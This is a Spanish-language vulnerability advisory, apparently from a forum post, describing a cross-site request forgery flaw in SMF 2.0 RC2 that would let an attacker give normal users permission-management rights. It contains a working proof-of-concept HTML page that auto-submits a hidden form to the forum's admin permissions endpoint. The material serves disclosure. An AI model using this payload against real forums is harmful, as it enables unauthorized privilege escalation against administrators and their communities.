Detalles
Descripción
Este CSRF permitiria solo haciendo que el administrador visite una web de
nosotros con su sesion de su foro abierta hacer que le de permisos a los
usuarios normales para cambiar los permisos de los grupos como por ejemplo
los moderadores globales .
El error fue probado en SMF 2.0 RC2
Ejemplo de un HTML que cambiaria los permisos:
Descripción: | CSRF permite darle permisos a los usuarios normales para modificar permisos del foro |
Descubierto por: | ysk.sft@gmail.com |
Código vulnerable: | N/A |
URL Vulnerable: | N/A |
PoC: | N/A |
Afecta a: | SMF 2.0 RC2 |
Descripción
Este CSRF permitiria solo haciendo que el administrador visite una web de
nosotros con su sesion de su foro abierta hacer que le de permisos a los
usuarios normales para cambiar los permisos de los grupos como por ejemplo
los moderadores globales .
El error fue probado en SMF 2.0 RC2
Ejemplo de un HTML que cambiaria los permisos:
Código (html4strict) [Seleccionar]
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("#id_formulario").submit();
});
</script>
<form id="id_formulario" action="http://localhost/foro2/index.php?action=admin;area=permissions;save;sa=settings" method = "POST" target = "asdf" >
<input name="manage_permissions[0]" value="on" />
<input name="manage_permissions[2]" value="off" />
<input name="manage_permissions[4]" value="off" />
<input name="manage_permissions[5]" value="off" />
<input name="manage_permissions[6]" value="off" />
<input name="manage_permissions[7]" value="off" />
<input name="manage_permissions[8]" value="off" />
<input name="permission_enable_deny" value="1" />
<input name="permission_enable_postgroups" value="1" />
</form>
<iframe name="asdf" id="asdf" src="/ruta/archivo.html"></iframe>